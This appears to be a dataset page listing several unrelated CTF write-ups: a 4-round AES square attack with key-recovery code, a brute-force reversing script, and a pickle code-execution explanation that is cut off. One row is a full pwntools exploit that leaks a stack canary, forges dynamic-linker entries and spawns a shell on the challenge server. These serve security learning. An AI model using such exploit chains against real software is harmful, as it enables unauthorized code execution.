text_chunk
stringlengths 151
703k
|
---|
## Rock with the wired shark! (Misc, 70p)
Sniffing traffic is fun. I saw a wired shark. Isn't that strange? ###ENG[PL](#pl-version)
After extracting objects from given pcap file, we get only a couple of webpages and a zip file.It was encrypted, but we found the password in HTTP basic authorization.
###PL version
Wypakowawszy obiekty z otrzymanego pliku pcap, dostaliśmy jedynie kilka stron oraz zaszyfrowanegozipa. Hasło, po chwili szukania, można było znaleźć w autoryzacji żądania HTTP w oryginalnym pliku. |
## People's Square (Crypto 6p)
People's Square (A.K.A. shenmhin guangshan in Shanghai Dialect) is a large public square in the Huangpu District of Shanghai, China. We know Talent Yang is the king of People's Square. Now he provides you a strange guessing game, and he also demonstrates his talent by giving you the result of how he tackles this task. Can you show your talent to decrypt the secret?
###ENG[PL](#pl-version)
We start by unpacking and analysing binary that we were given in challenge. In fact, that binary wasn't working on our computers(not everyone of us has newest laptop model), but in spite of it we managed to decompile it.
Decompilation turned out to be only first step of analysis, because (as it's often the case with automatic decompilers) code was not very readable.It's difficult to analyse something like that:
```cppconst __m128i *__fastcall sub_4013C5(const __m128i *a1, __int64 a2){ __m128i v2; // xmm0@1 __m128i v3; // xmm0@2 __m128i v6; // xmm0@4 const __m128i *result; // rax@4 signed __int64 i; // [sp+18h] [bp-98h]@1 __int128 v11; // [sp+30h] [bp-80h]@1 __int128 v12; // [sp+40h] [bp-70h]@1 __int128 v13; // [sp+50h] [bp-60h]@1 __int128 v14; // [sp+60h] [bp-50h]@2 __int128 v15; // [sp+70h] [bp-40h]@2 __int128 v16; // [sp+80h] [bp-30h]@4 __int128 v17; // [sp+90h] [bp-20h]@4 __int128 v18; // [sp+A0h] [bp-10h]@4
v2 = _mm_load_si128((const __m128i *)a2); _mm_store_si128((__m128i *)&v12, _mm_loadu_si128(a1)); _mm_store_si128((__m128i *)&v13, v2); _mm_store_si128( (__m128i *)&v11, _mm_xor_si128(_mm_load_si128((const __m128i *)&v13), _mm_load_si128((const __m128i *)&v12))); for ( i = 1LL; (unsigned __int64)i <= 3; ++i ) { v3 = _mm_load_si128((const __m128i *)(16 * i + a2)); _mm_store_si128((__m128i *)&v14, _mm_load_si128((const __m128i *)&v11)); _mm_store_si128((__m128i *)&v15, v3); _XMM0 = _mm_load_si128((const __m128i *)&v14); __asm { aesenc xmm0, [rbp+var_40] } _mm_store_si128((__m128i *)&v11, _XMM0); } v6 = _mm_load_si128((const __m128i *)(a2 + 64)); _mm_store_si128((__m128i *)&v16, _mm_load_si128((const __m128i *)&v11)); _mm_store_si128((__m128i *)&v17, v6); _XMM0 = _mm_load_si128((const __m128i *)&v16); __asm { aesenclast xmm0, [rbp+var_20] } _mm_store_si128((__m128i *)&v11, _XMM0); _mm_store_si128((__m128i *)&v18, _mm_load_si128((const __m128i *)&v11)); result = a1; _mm_storeu_si128((__m128i *)a1, _mm_load_si128((const __m128i *)&v18)); return result;}```
We started by manually refactoring provided code to something more manageable. We arrived at something like this:
```cpp__int64 realMain(){ char keyProbably; char ciphertextFor0[16]; char ciphertextFor1[16]; __int64 v14 = 0LL; __int64 v16 = 0LL; sub_400ABE(&v14); // put encrypted flag into buffer __int64 v10 = 0LL; sub_400A74(&v10); generateKey((const __m128i *)&v10, (__int64)&keyProbably); __int64 v6 = 0LL; __int64 initTime = time(0LL); for (__int64 i = 0LL; i <= 0x3FF; i++) { memsetAndEncrypt((__int64)&keyProbably, &ciphertextFor0, &ciphertextFor1, i, initTime); unsigned int v5 = rand() & 1; char *v1; if (v5) { v1 = &ciphertextFor0; } else { v1 = &ciphertextFor1; } hexdump((__int64)v1, 0x10); puts("0 or 1?"); user_bit = getchar() - 48; puts("ciphertext for 0 is: "); hexdump(&ciphertextFor0, 0x10); puts("ciphertext for 1 is: "); hexdump(&ciphertextFor1, 0x10); if ( user_bit == v5 ) { puts("Correct!"); ++v6; } else { puts("Incorrect!"); } } if ( v6 == 1024 ) { puts("Now I will give you the flag:"); realEncrypt((const __m128i *)&v14, (__int64)&keyProbably); // decrypt flag realEncrypt((const __m128i *)&v16, (__int64)&keyProbably); hexdump((__int64)&v14, 0x20uLL); } return 0;}
void memsetAndEncrypt(__int64 keyProbably, char ciphertext0[16], char ciphertext1[16], __int64 iter, __int64 initTime){ memset(ciphertext0, 0, 0x10uLL); memset(ciphertext1, 1, 0x10uLL); memcpy((char *)ciphertext0 + 8, &iter, 4uLL); memcpy((char *)ciphertext1 + 8, &iter, 4uLL); memcpy((char *)ciphertext0 + 12, &initTime, 4uLL); memcpy((char *)ciphertext1 + 12, &initTime, 4uLL); realEncrypt((const __m128i *)ciphertext0, keyProbably); realEncrypt((const __m128i *)ciphertext1, keyProbably);}
void realEncrypt(__m128i *a1, __m128i *key){ __int128 state;
*state = a1 ^ key[0]; for (int i = 1LL; i <= 3; ++i) { *state = aesenc(state, key[i]; } *a1 = aesenclast(state, key[4]);}```
Beautiful, if compared to abomination we had earlier. (For example, function that Ipasted earlier is now called "realEncrypt" - that's right, that mess of code is only 4 lines long after refactoring).
As you can see - all this code is only AES encrypting some data. RealEncrypt is really traditional AES, but it's using only 4 rounds - instead of 10 rounds, as proper AES128 should be (and only because of it we were able to crack it)
Reiterating, in pseudocode, our program can be summarized with something like this:
```cppuint32_t initTime = time()
for (uint32_t i = 0; i < 1024; i++) { // 16 byte array: [ 8 ones ] [ i (4 bytes) ] [ initTime (4 bytes) ] uint8_t ones[16]; memset(ones, 0, 16); memcpy(ones + 8, &i, 4); memcpy(ones + 12, &initTime, 4);
// 16 byte array: [ 8 zeroes ] [ i (4 bytes) ] [ initTime (4 bytes) ] uint8_t zeroes[16]; memset(zeroes, 0, 16); memcpy(zeroes + 8, &i, 4); memcpy(zeroes + 12, &initTime, 4);
bool bit = rand() % 2; if (bit == 0) { print(encrypt(zeroes)); } else { print(encrypt(zeroes)); } print("guess?"); bool guess = read(); if (guess == bit) { goodGuesses++; }
print(encrypt(zeroes)); print(encrypt(ones));}
if (goodGuesses == 1024) { print("you won"); print encrypt(encryptedFlag); // will actually decrypt flag for us}```
Where encrypt is our modified, 4-round AES.
How would we begin cracking something like that? It turns out we can use well-known cryptographic attack technique, called `square attack` or `integral cryptanalysis`.
To understand how this attack is supposed to work, we need to first get a high level (simplified) overview of AES.
So AES is working on 128bit blocks. These 128 bits are treated as 4x4 byte array, and we are performing some "operations" on that array.
What kind of operations?
1) SubBytes - every byte in matrix is substituted with another byte, using fixed associatve table (so-called substitution box, aka sbox). So given matrix:
in_matrix: 1 2 3 4 6 7 8 5 11 12 9 10 16 13 14 15
we end up with:
out_matrix: S[1] S[2] S[3] S[4] S[6] S[7] S[8] S[5] S[11] S[12] S[9] S[10] S[16] S[13] S[14] S[15]
ShiftRows - rows of matrix are shifted by `row_number` positions to the left. For example given matrix:
in_matrix: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
we arrive to:
out_matrix: 1 2 3 4 6 7 8 5 11 12 9 10 16 13 14 15
MixColumns - values in matrix columns are mixed with each other (obvious, I know) (to be precise, columns are treated as polynominals and multiplied by fixed polynominal, but that's not important right now)What's important is that final values in column depends only on another values in that column:
in_matrix: A E I M B F J N C G K O D H L P
nA, nB, nC, nD = mix(A, B, C, D) nE, nF, nG, nH = mix(E, F, G, H) nI, nJ, nK, nL = mix(I, J, K, L) nM, nN, nO, nP = mix(M, N, O, P)
out_matrix: nA nE nI nM nB nF nJ nN nC nG nK nO nD nH nL nP
AddRoundKey - we are adding round key to each byte in matrix (don't look at me like that, it's not my fault that every operation is already descriptively named).The catch is, instead of traditional addition we are using 'xor' operation (in technical words, that's because we are operating on galios field, and 'xor' is addition analogy there).
in_matrix: A E I M B F J N C G K O D H L P
round_key: R0 R1 R2 R3 R4 R5 R6 R7 R8 R9 RA RB RC RD RE RF
out_matrix: A^R0 E^R1 I^R2 M^R3 B^R4 F^R5 J^R6 N^R7 C^R8 G^R9 K^RA O^RB D^RC H^RD L^RE P^RF Why bother with all that theory? Because now we are going to describe the actual attack.
Assume that we can get ciphertexts for 256 chosen (by us) plaintexts - in such a way, that every byte is constant among all plaintexts, except one byte that gets every possible byte value.
Example of such set could be for example:
00 00 00 00 00 ... 00
01 00 00 00 00 ... 00
02 00 00 00 00 ... 00
03 00 00 00 00 ... 00
04 00 00 00 00 ... 00
..
FE 00 00 00 00 ... 00
FF 00 00 00 00 ... 00
Then we can represent AES state at the beginning with the following matrix:
X C C C C C C C C C C C C C C C
*Important* - C means that byte is the same on corresponding positions in matrix for every considered plaintext from our set.And X means that byte at that position gets *every possible byte value* for some considered plaintexts.
So, let's check what AES will do with our set of chosen plaintexts:Initial value.
X C C C C C C C C C C C C C C C
As mentioned, first byte is taking every possible value, and rest of bytes is constant.
After SubBytes:
X C C C C C C C C C C C C C C C
Of course, every 'C' is changed to the same value (so they are still constant). What's next?
After ShiftRows:
X C C C C C C C C C C C C C C C
Nothing's changed.
After MixColumns:
X C C C X C C C X C C C X C C C
Now we're getting somewhere. Now 'C' values are not exactly the same when looking at single state, but they get the same value for every plaintext in our choosen set - ant that's what matters.Similarly, every byte marked as 'X' will take every possible value for one of our plaintexts. I hope that's clear, let's continue.
After AddKey:
X C C C X C C C X C C C X C C C
Now for second round:
After SubBytes:
X C C C X C C C X C C C X C C C
After ShiftRows
X C C C C C C X C C X C C X C C
After MixColumns:
X X X X X X X X X X X X X X X X
After AddKey:
X X X X X X X X X X X X X X X X
What happend now? Now *every byte* is taking every possible value. Horrible! Or is it?
That means that if we fix any state position (for example, 2nd row and 2nd column) and xor them:(State_xx means state for xx-th plaintext from our set)
state_01[2][2] ^ state_02[2][2] ^ state03_[2][2] ^ ... ^ stateFF[2][2] = 0
Then we will always get 0! That's because we know that that byte is taking every possible byte, value, so we are xoring (in random order) numbers
0 ^ 1 ^ 2 ^ 3 ... ^ 0xFE ^ 0xFF
So what? After all, our AES has 4 rounds, not 3.
But we can *guess* one byte of key to *decrypt* one byte of encrypted data after 4th round. From previos relationship we can conclude thatif we guess the byte correctly, decrypt some byte in ciphertext with it, and xor it all together, we must get 0.
Then we can repeat that process 16 times - once fo each byte of key. On average we will find 2 good values (one correct, and 256 * 1/256 chance of false positive). We can just try every possibility - that will give us 2^16 complexity of attack - a LOT better than naive 2^128.
We can also quite easily recover the master cipher key from any round key.
Can we use that attack in this challenge? Of course - if we take first 256 plaintexts, we can see that every one of them is differing only on ony byte - lowest byte of 'i'.
So we can implement that attack in python (AES implementation skipped here, but it will be provided with full code in writeup)```pythondef integrate(index): potential = []
for candidateByte in range(256): sum = 0 for ciph in ciphertexts: oneRoundDecr = backup(ciph, candidateByte, index) # decrypt one round of one byte sum ^= oneRoundDecr # xor result with sum if sum == 0: # if sum is equal to 0 - candidateByte stays a candidate potential.append(candidateByte) return potential
from itertools import productdef integral(): candidates = [] for i in range(16): candidates.append(integrate(i)) # compute all possible candidate bytes for all positions print 'candidates', candidates for roundKey in product(*candidates): # check all possibilities masterKey = round2master(roundKey) plain = ''.join(chr(c) for c in decrypt4rounds(ciphertexts[1], masterKey)) if '\0\0\0\0' in plain: # we know that plaintext contains 4 '0' bytes, and it's unlike to be accident print 'solved', masterKey```
After running it for provided ciphertexts we get following result:
candidates [[95, 246], [246], [1, 99], [78, 187], [123], [106], [98, 223], [96], [211], [44, 63, 102], [192, 234], [167], [9, 135, 234], [36], [146, 166], [107]] solved [23, 74, 34, 20, 64, 53, 100, 117, 220, 227, 160, 55, 163, 23, 237, 75]
Awesome! Now we can just decrypt encrypted flag (we have key, after all).
0CTF{~R0MAN_l0VES_B10CK_C1PHER~}
Full code used in our attack included in [integral.py](integral.py) file.
Code template and used attack was mostly borrowed from lecture http://opensecuritytraining.info/Cryptanalysis.html (CC-by-sa 3.0 license).For that reason, our code is published on CC 3.0 BY SA license, but writeup text and our code (fragments in this writeup) use our usual license.
###PL version
Najpierw analizujemy binarkę którą dostajemy w zadaniu. Co prawda nie działała ona na większości naszych komputerów za bardzo(nie wszyscy mamy najnowsze laptopy), udało nam się ją zdekompilować.
Dekompilacja to dopiero pierwszy krok analizy, ponieważ jak to z automatyczną dekompilacją zawsze - kod był bardzo nieczytelny.Ciężko o analizę z funkcjami takimi jak taka:
```cppconst __m128i *__fastcall sub_4013C5(const __m128i *a1, __int64 a2){ __m128i v2; // xmm0@1 __m128i v3; // xmm0@2 __m128i v6; // xmm0@4 const __m128i *result; // rax@4 signed __int64 i; // [sp+18h] [bp-98h]@1 __int128 v11; // [sp+30h] [bp-80h]@1 __int128 v12; // [sp+40h] [bp-70h]@1 __int128 v13; // [sp+50h] [bp-60h]@1 __int128 v14; // [sp+60h] [bp-50h]@2 __int128 v15; // [sp+70h] [bp-40h]@2 __int128 v16; // [sp+80h] [bp-30h]@4 __int128 v17; // [sp+90h] [bp-20h]@4 __int128 v18; // [sp+A0h] [bp-10h]@4
v2 = _mm_load_si128((const __m128i *)a2); _mm_store_si128((__m128i *)&v12, _mm_loadu_si128(a1)); _mm_store_si128((__m128i *)&v13, v2); _mm_store_si128( (__m128i *)&v11, _mm_xor_si128(_mm_load_si128((const __m128i *)&v13), _mm_load_si128((const __m128i *)&v12))); for ( i = 1LL; (unsigned __int64)i <= 3; ++i ) { v3 = _mm_load_si128((const __m128i *)(16 * i + a2)); _mm_store_si128((__m128i *)&v14, _mm_load_si128((const __m128i *)&v11)); _mm_store_si128((__m128i *)&v15, v3); _XMM0 = _mm_load_si128((const __m128i *)&v14); __asm { aesenc xmm0, [rbp+var_40] } _mm_store_si128((__m128i *)&v11, _XMM0); } v6 = _mm_load_si128((const __m128i *)(a2 + 64)); _mm_store_si128((__m128i *)&v16, _mm_load_si128((const __m128i *)&v11)); _mm_store_si128((__m128i *)&v17, v6); _XMM0 = _mm_load_si128((const __m128i *)&v16); __asm { aesenclast xmm0, [rbp+var_20] } _mm_store_si128((__m128i *)&v11, _XMM0); _mm_store_si128((__m128i *)&v18, _mm_load_si128((const __m128i *)&v11)); result = a1; _mm_storeu_si128((__m128i *)a1, _mm_load_si128((const __m128i *)&v18)); return result;}```
Zaczęliśmy od doprowadzania go do sensownej postaci(ręcznie refaktoryzując zdekompilowany kod):
```cpp__int64 realMain(){ char keyProbably; char ciphertextFor0[16]; char ciphertextFor1[16]; __int64 v14 = 0LL; __int64 v16 = 0LL; sub_400ABE(&v14); // put encrypted flag into buffer __int64 v10 = 0LL; sub_400A74(&v10); generateKey((const __m128i *)&v10, (__int64)&keyProbably); __int64 v6 = 0LL; __int64 initTime = time(0LL); for (__int64 i = 0LL; i <= 0x3FF; i++) { memsetAndEncrypt((__int64)&keyProbably, &ciphertextFor0, &ciphertextFor1, i, initTime); unsigned int v5 = rand() & 1; char *v1; if (v5) { v1 = &ciphertextFor0; } else { v1 = &ciphertextFor1; } hexdump((__int64)v1, 0x10); puts("0 or 1?"); user_bit = getchar() - 48; puts("ciphertext for 0 is: "); hexdump(&ciphertextFor0, 0x10); puts("ciphertext for 1 is: "); hexdump(&ciphertextFor1, 0x10); if ( user_bit == v5 ) { puts("Correct!"); ++v6; } else { puts("Incorrect!"); } } if ( v6 == 1024 ) { puts("Now I will give you the flag:"); realEncrypt((const __m128i *)&v14, (__int64)&keyProbably); // decrypt flag realEncrypt((const __m128i *)&v16, (__int64)&keyProbably); hexdump((__int64)&v14, 0x20uLL); } return 0;}
void memsetAndEncrypt(__int64 keyProbably, char ciphertext0[16], char ciphertext1[16], __int64 iter, __int64 initTime){ memset(ciphertext0, 0, 0x10uLL); memset(ciphertext1, 1, 0x10uLL); memcpy((char *)ciphertext0 + 8, &iter, 4uLL); memcpy((char *)ciphertext1 + 8, &iter, 4uLL); memcpy((char *)ciphertext0 + 12, &initTime, 4uLL); memcpy((char *)ciphertext1 + 12, &initTime, 4uLL); realEncrypt((const __m128i *)ciphertext0, keyProbably); realEncrypt((const __m128i *)ciphertext1, keyProbably);}
void realEncrypt(__m128i *a1, __m128i *key){ __int128 state;
*state = a1 ^ key[0]; for (int i = 1LL; i <= 3; ++i) { *state = aesenc(state, key[i]; } *a1 = aesenclast(state, key[4]);}```
W porównaniu do poprzedniego - 100 razy czytelniejsze (np. wklejona poprzednio funkcja przed refaktoryzacją to "realEncrypt" - skróciła się do 4 linijek!
Jak widać - cały ten program to po prostu AES szyfrujący jakieś dane. RealEncrypt to dokładnie implementacja "prawdziwego" AESa, ale zamiast pełnej liczby rund są tylko 4 (co pozwoli, swoją drogą, na nasz atak).
Konkretnie, w pseudokodzie działanie programu można przedstawić tak:
```cppuint32_t initTime = time()
for (uint32_t i = 0; i < 1024; i++) { // 16 byte array: [ 8 ones ] [ i (4 bytes) ] [ initTime (4 bytes) ] uint8_t ones[16]; memset(ones, 0, 16); memcpy(ones + 8, &i, 4); memcpy(ones + 12, &initTime, 4);
// 16 byte array: [ 8 zeroes ] [ i (4 bytes) ] [ initTime (4 bytes) ] uint8_t zeroes[16]; memset(zeroes, 0, 16); memcpy(zeroes + 8, &i, 4); memcpy(zeroes + 12, &initTime, 4);
bool bit = rand() % 2; if (bit == 0) { print(encrypt(zeroes)); } else { print(encrypt(zeroes)); } print("guess?"); bool guess = read(); if (guess == bit) { goodGuesses++; }
print(encrypt(zeroes)); print(encrypt(ones));}
if (goodGuesses == 1024) { print("you won"); print encrypt(encryptedFlag); // will actually decrypt flag for us}```
Gdzie encrypt jest naszym zmodyfikowanym, cztero-rundowym AESem.
Jak się zabrać za taki atak? Otóż, możemy wykorzystać technikę ataku kryptograficznego znana jako `square attack` albo `integral cryptanalysis`.
Żeby zrozumieć w jaki sposób ten atak będzie działać, trzeba najpierw wiedzieć (chociaż mniej-więcej) jak działa AES.
Otóż, AES działa na blokach rozmiaru 128 bitów traktowanych jako tablica 4x4 bajty, i robi na nich pewne operacje.
Te operacje to:
SubBytes - każdy bajt w macierzy jest zamieniany na inny wybrany bajt, korzystając z tablicy asocjacyjnej (tzw. substitution box). Czyli z macierzy:
in_matrix: 1 2 3 4 6 7 8 5 11 12 9 10 16 13 14 15
robi się:
out_matrix: S[1] S[2] S[3] S[4] S[6] S[7] S[8] S[5] S[11] S[12] S[9] S[10] S[16] S[13] S[14] S[15]
ShiftRows - macierz jest przesuwana w wierszach o `numer_wierszu` pozycji w lewo. Czyli z macierzy:
in_matrix: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
robi się
out_matrix: 1 2 3 4 6 7 8 5 11 12 9 10 16 13 14 15
MixColumns - wartości macierzy w kolumnach są mieszane (konkretnie, mnożone przez pewien wielomian w skończonym polu).Ważne jest to, że ostateczne wartości w polu zależą tylko od innych pól w tej kolumnie:
in_matrix: A E I M B F J N C G K O D H L P
nA, nB, nC, nD = mix(A, B, C, D) nE, nF, nG, nH = mix(E, F, G, H) nI, nJ, nK, nL = mix(I, J, K, L) nM, nN, nO, nP = mix(M, N, O, P)
out_matrix: nA nE nI nM nB nF nJ nN nC nG nK nO nD nH nL nP
AddRoundKey - każda wartość w macierzy jest xorowana z wartością z klucza rundy (round key)
in_matrix: A E I M B F J N C G K O D H L P
round_key: R0 R1 R2 R3 R4 R5 R6 R7 R8 R9 RA RB RC RD RE RF
out_matrix: A^R0 E^R1 I^R2 M^R3 B^R4 F^R5 J^R6 N^R7 C^R8 G^R9 K^RA O^RB D^RC H^RD L^RE P^RF Po co ten cały wstęp? Bo teraz przejdźmy do ataku właściwego.
Załóżmy, że możemy uzyskać ciphertexty dla 256 wybranych plaintextów - w taki sposób tak, że wszystkie bajty są stałe, poza jednym, który przyjmuje po kolei wszystkie możliwe wartości.
00 00 00 00 00 ... 00
01 00 00 00 00 ... 00
02 00 00 00 00 ... 00
03 00 00 00 00 ... 00
04 00 00 00 00 ... 00
..
FE 00 00 00 00 ... 00
FF 00 00 00 00 ... 00
Wtedy przy szyfrowaniu stan AES przyjmie takie wartości:
X C C C C C C C C C C C C C C C
Gdzie C oznacza bajty które są stałe na danej pozycji dla każdego plaintextu, a X oznacza że bajt przyjmuje wszystkie możliwe wartości (od 0 do 255).Co to dokładnie znaczy, będzie widoczne zaraz:
Początkowa wartość:
X C C C C C C C C C C C C C C C
Po SubBytes:
X C C C C C C C C C C C C C C C
No tak, wszystkie 'C' zostaną zamienione na tą samą wartość (więc dalej będą stałe). Co dalej?
Po ShiftRows:
X C C C C C C C C C C C C C C C
Nic nie zostało przesunięte.
Po MixColumns:
X C C C X C C C X C C C X C C C
Tutaj już wartości C nie będą de facto takie same, ale będą takie same dla każdego z 256 testowanych plaintextów na odpowiadających pozycjach - a to sie liczy.Tak samo, bajty oznaczone jako X będą znowu przyjmowały wszystkie możliwe wartości (czyli np. pierwszy bajt w drugim wierszu przyjmie wartość 1 dokładnie dla1 szyfrowanego plaintextu, wartość 2 dokładnie dla 1 szyfrowanego plaintextu, itd)
Po AddKey:
X C C C X C C C X C C C X C C C
Następnie druga runda:
Po SubBytes:
X C C C X C C C X C C C X C C C
Po ShiftRows:
X C C C C C C X C C X C C X C C
Po MixColumns:
X X X X X X X X X X X X X X X X
Po AddKey:
X X X X X X X X X X X X X X X X
Uwaga, co się teraz stało? Wszystkie elementy klucza przyjmują wszystkie możliwe wartości!
Co to oznacza? Otóż uwaga - jeśli ustalimy dowolną pozycję stanu (np. 2 wiersz i 2 kolumna) i zrobimy:(State_xx oznacza stan dla szyfrowania plaintextu mającego bajt xx na zmiennej pozycji na początku)
state_01[2][2] ^ state_02[2][2] ^ state03_[2][2] ^ ... ^ stateFF[2][2]
To wynik zawsze wyjdzie równy zero! Bo skoro wiemy na pewno, że każdy bajt przyjmuje wszystkie możliwe wartości, to xorujemy (w różnej kolejności) liczby:
0 ^ 1 ^ 2 ^ 3 ... ^ 0xFE ^ 0xFF
Ok, i co z tego wynika? Nasz AES ma 4 rundy, a nie 3.
Ale możemy *zgadnąć* jeden bajt klucza, żeby *odszyfrować* jeden bajt zaszyfrowanych danych po czwartej rundzie! Z wyprowadzonej przed chwilą zależnościwynika, że jeśli zgadniemy ten bajt dobrze, i odszyfrujemy nim wszystkie wybrane plaintexty, to po xorowaniu wszystkich wynikiem będzie zero.
Następnie możemy powtórzyć to 16 razy - dla wszystkich bajtów klucza. Średnio wyjdą dwie dobre wartości (jedna z nich poprawna) dla każdego bajta klucza - to daje nam złożoność ataku 2^16 - o niebo lepiej niż 2^128.
Czy ten atak możemy zastosować w tym zadaniu? Jak najbardziej - jeśli weźmiemy pierwsze 256 plaintextów, zauważymy że wszystkie różnią się tylko na jednym bajcie (tym zależnym od 'i').
Zaimplementujmy go więc w pythonie (implementacja AES pominięta, będzie w pełnym kodzie dostarczonym do zadania)```pythondef integrate(index): potential = []
for candidateByte in range(256): sum = 0 for ciph in ciphertexts: oneRoundDecr = backup(ciph, candidateByte, index) # decrypt one round of one byte sum ^= oneRoundDecr # xor result with sum if sum == 0: # if sum is equal to 0 - candidateByte stays a candidate potential.append(candidateByte) return potential
from itertools import productdef integral(): candidates = [] for i in range(16): candidates.append(integrate(i)) # compute all possible candidate bytes for all positions print 'candidates', candidates for roundKey in product(*candidates): # check all possibilities masterKey = round2master(roundKey) plain = ''.join(chr(c) for c in decrypt4rounds(ciphertexts[1], masterKey)) if '\0\0\0\0' in plain: # we know that plaintext contains 4 '0' bytes, and it's unlike to be accident print 'solved', masterKey```
Po uruchomieniu kodu dla dostarczonych danych dostajemy taki oto wynik:
candidates [[95, 246], [246], [1, 99], [78, 187], [123], [106], [98, 223], [96], [211], [44, 63, 102], [192, 234], [167], [9, 135, 234], [36], [146, 166], [107]] solved [23, 74, 34, 20, 64, 53, 100, 117, 220, 227, 160, 55, 163, 23, 237, 75]
Świetnie, teraz wystarczy zdeszyfrować flagę (zaszyfrowana flaga jest na samym końcu podanego outputu):
0CTF{~R0MAN_l0VES_B10CK_C1PHER~}
Pełen kod ataku zamieszczony w pliku [integral.py](integral.py).
Szkielet kodu i opis ataku na którym się opieraliśmy pochodzi w większości z prezentacji http://opensecuritytraining.info/Cryptanalysis.html (licencja CC-by-sa 3.0)Z tego powodu całość kodu publikujemy na licencji CC 3.0 BY SA, natomiast cały tekst oraz nasze fragmenty kodu używają tej samej licencji co reszta repozytorium. |
A tiny tiny shell script :)English version : https://0x90r00t.com/2016/02/07/sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-wri...Version Française : https://0x90r00t.com/fr/2016/02/07/sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-... |
# Pwn2Win 2016 Sleeper Cell [Rev - 70]
## ChallengeThe challenge was to reverse a binary (ELF 64-bit) and find the right input.
# SolvingThe first thing I did was to run strings and see what information I could get, for my surprise there was a suspicous strings embedded: **FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{**
After processing the user input the binary keeps the result in memory, with the string in hand I decided to take the easiest approach and try to bruteforce it.
**Idea**
1. Patch the binary at 0x400ebb with int3 (0xcc), it will make it stop after processing the input.
2. Force coredump (ulimit -c unlimited)
3. Write a python script to compare data in coredump
```python
import stringimport os flag = 'CTF-BR{'expected = 'FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{' while True: print flag for ch in (string.letters + '_' + '}'): os.system('echo %s |./sleeper_cell_patched' %(flag + ch)) os.system('strings ./core|grep "FYM-OI" > out') with open('out', 'r') as f: res = f.readlines()[-1].rstrip() if expected.startswith(res): flag += ch break if res == expected: print flag exit(0) ```
$ python brute.py 2> /dev/null
...
**CTF-BR{riot_in_public_square_vgzdLIEjd}**
|
## iMathze (PPC)In this chall we must connect through ssh to the game and solve 3 mazes and 9 equations (3 for each maze).
At first we tried writing a python script to connect, parse the input and send solution, but the game was drawn in a terminal using escape sequences. It would be troublesome to parse them, so we took different approach. We wrote a program to find a path in the maze and just quickly press arrow keys to navigate in the maze (we even had an old code snippet somewhere to do such things). The input was copy-pasted from terminal (it was fast enough even for the 20s limit).
Unfortunately, due to a bug in the program (literally pressing one arrow key more than necessary) we couldn't obtain the flag ;(. After a lot of thinking we found it just in the moment the ctf has ended. |
#!/usr/bin/env python2'''This is not really portable.I had to guess link_map_address on the server (not really complex because of no ASLR).With ASLR (local testing) it works by leaking the address to the link_map in the initial printf vulnerability.The fact that this didn't work on the server indicates that the position of these variables on the stack dependes on the libc version.'''
local = False
from pwn import *context(arch = 'amd64', os = 'linux', bits = 64)
if local: s = process('./web_of_science2')else: s = remote('webofscience2.2016.volgactf.ru', 45679)
# trigger a format string vulnerability to leak the solutions to the following tasks and the stack canarys.recvuntil('first\n')if local: s.sendline('%9$d.%43$lx.%24$lx')else: s.sendline('%9$d.%43$lx')s.recvuntil('would you.\n')
stack_canary = 0link_map_address = 0x7ffff7ffe1c8base_pointer = 0lazy_link_address = 0x400820bin_sh_address = 0x602100system_address = 0x602108reloc_address = 0x602208sym_address = 0x602310pop_rdi_ret = 0x4016b3reloc_offset = (reloc_address - 0x400680) / 24sym_offset = (sym_address - 0x4002c0) / 24system_offset = system_address - 0x4004b8
# answer the summation tasksfor i in range(10): s.recvuntil('?\n') quest = s.recvuntil('your response: ') interesting_parts = (quest.split(',')[0]).split('.') answer = interesting_parts[0] stack_canary = int(interesting_parts[1], 16) if local: link_map_address = int(interesting_parts[2], 16) s.sendline(answer)
# go to add paper menu to create some data structss.recvuntil('> ')s.sendline('1')
# place /bin/sh, system and the address to overwrite with 0 at their addresss.recvuntil('> ')s.sendline('1')s.recvuntil('name: ')s.sendline('/bin/sh\x00system\x00\x00' + p64(link_map_address + 0x1c8))
# create a fake reloc table entrys.recvuntil('> ')s.sendline('2')s.recvuntil('authors: ')s.send('AAAAAAAA') # padding to begin at 0x602208s.send(p64(0x602018))s.send(p32(0x07))s.send(p32(sym_offset))s.sendline(p64(0))
# create a fake symtab entrys.recvuntil('> ')s.sendline('3')s.recvuntil('abstract: ')s.send('AAAAAAAAAAAAAAAA') # padding to begin at 0x602310s.send(p32(system_offset)) # strtab entry - This has to be "system" in the ends.send(p32(0x12))s.send(p32(0))s.send(p32(0))s.send(p32(0))s.send(p32(0))s.send('\n')
# create format string to overwrite the version table pointer with 0s.recvuntil('> ')s.sendline('4')s.recvuntil('tags: ')fmtstr = '%18$n's.sendline(fmtstr)
# trigger format string vulnerabilitys.recvuntil('> ')s.sendline('7')
# exit from add paper menus.recvuntil('> ')s.sendline('8')
# buffer overflow with known stack canarys.recvuntil('> ')s.send(b'A' * 0x28)s.send(p64(stack_canary))s.send(p64(base_pointer))s.send(p64(pop_rdi_ret))s.send(p64(bin_sh_address))s.send(p64(lazy_link_address))s.send(p64(reloc_offset))s.send('\n')
# trigger overflows.recvuntil('> ')s.sendline('5')
s.interactive() |
# 32C3 CTF 2015: gurke - Misc 300
> Non-standard [gurke](./gurke.py): <https://32c3ctf.ccc.ac/uploads/gurke> Talk to it via HTTP on <http://136.243.194.43/.>
For this challenge, there is a script running on a server, and we are given the [source](./gurke.py). The server only accepts POST requests, and processes the data included in the request.
There are basically 3 parts to this program:
1. Load the flag and save in in an object called `flag` (so it is accessible as `flag.flag`)2. Start a seccomp sandbox3. Read the POST data sent in by the user, unpickle it, and print the result
Since this program accepts our own pickle data, we can easily achieve arbitrary code execution by taking advantage of how pickle works.
## Pickle Code ExecutionPickle is a stack-based language, and its intended usage is to serialize and deserialize objects. In order to get our own code to execute, there are 6 pickle operations we need to understand:
1. `c`: Reads to the next newline as the `module`, then reads the next line as the `object`. It then pushes `module.object` onto the stack2. `(`: Pushes a marker onto the stack, which can be used alongside `t` to create a tuple3. `t`: Pops objects off the stack until it reaches a `(`, then creates a tuple of all the popped objects and pushes it onto the stack4. `S`: Reads a string in quotes and pushes it onto the stack5. `R`: Pops a tuple and a callable off the stack, then calls the callable with the tuple as its arguments6. `.`: End of the pickle
## Code Execution Example
Using these commands, here's an example of how to get a shell using pickle, just for demonstration:
